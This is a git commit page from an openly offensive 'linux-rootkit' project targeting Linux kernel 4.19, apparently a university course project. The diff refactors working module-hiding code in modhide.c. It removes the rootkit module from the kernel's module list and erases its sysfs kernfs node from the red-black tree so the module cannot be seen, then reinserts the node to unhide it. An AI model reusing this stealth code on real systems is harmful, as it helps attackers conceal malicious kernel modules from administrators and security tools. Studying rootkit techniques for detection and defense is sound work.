linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 38e96b8b1acc57788cdb2433879a4713e4e583f5
parent b638c450f00b85585d6d9ed4383ce20d851aa4d1
Author: deurzen <m.deurzen@tum.de>
Date:   Sat,  5 Dec 2020 21:38:42 +0100

refactors code

Diffstat:
Msrc/modhide.c | 41+++++++++++++++++++++++++----------------
Msrc/modhide.h | 2--
2 files changed, 25 insertions(+), 18 deletions(-)

diff --git a/src/modhide.c b/src/modhide.c @@ -12,24 +12,24 @@ static struct list_head *mod; void hide_module(void) { - struct kernfs_node *knode; + struct kernfs_node *sd; if (mod) return; - knode = THIS_MODULE->mkobj.kobj.sd; mod = THIS_MODULE->list.prev; + sd = THIS_MODULE->mkobj.kobj.sd; list_del(&THIS_MODULE->list); - rb_erase(&knode->rb, &knode->parent->dir.children); - knode->rb.__rb_parent_color = (unsigned long)(&knode->rb); + rb_erase(&sd->rb, &sd->parent->dir.children); + /* sd->rb.__rb_parent_color = (unsigned long)(&sd->rb); */ } void unhide_module(void) { int res; - struct kernfs_node *rb; + struct kernfs_node *sd; struct rb_root *root; struct rb_node *parent; struct rb_node **new; @@ -37,38 +37,47 @@ unhide_module(void) if (!mod) return; - rb = THIS_MODULE->mkobj.kobj.sd; - root = &rb->parent->dir.children; + sd = THIS_MODULE->mkobj.kobj.sd; + root = &sd->parent->dir.children; new = &root->rb_node; parent = NULL; list_add(&THIS_MODULE->list, mod); - { // insert our module back into the RB tree of modules - // search for the place to insert, insert, then rebalance tree, + { // Insert our module back into the RB tree of modules + // Search for the place to insert, insert, then rebalance tree, // as per https://www.kernel.org/doc/Documentation/rbtree.txt while (*new) { - static struct kernfs_node *new_rb; + static struct kernfs_node *rb; parent = *new; - new_rb = rb_entry(*new, struct kernfs_node, rb); + rb = rb_entry(*new, struct kernfs_node, rb); // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kernfs.h#L132 - res = (new_rb->ns == rb->ns) - ? strcmp(rb->name, new_rb->name) - : (rb->ns - new_rb->ns); + // Determine insert position based on 1. hash, + // 2. (upon collision) namespace, and 3. (otherwise) name + res = (sd->hash == rb->hash) + ? ((sd->ns == rb->ns) + ? strcmp(sd->name, rb->name) + : sd->ns - rb->ns) + : sd->hash - rb->hash; if (res < 0) new = &((*new)->rb_left); + /* new = &(rb->rb.rb_left); */ else if (res > 0) new = &((*new)->rb_right); + /* new = &(rb->rb.rb_right); */ else return; } - rb_link_node(&rb->rb, parent, new); - rb_insert_color(&rb->rb, root); + rb_link_node(&sd->rb, parent, new); + rb_insert_color(&sd->rb, root); } + /* if (kernfs_type(sd) == KERNFS_DIR) */ + /* ++sd->parent->dir.subdirs; */ + mod = NULL; } diff --git a/src/modhide.h b/src/modhide.h @@ -3,7 +3,5 @@ void hide_module(void); void unhide_module(void); -void rb_add(struct kernfs_node *); -int nodecmp(struct kernfs_node *, const unsigned int, const char *, const void *); #endif//_GROUP7_MODHIDE_H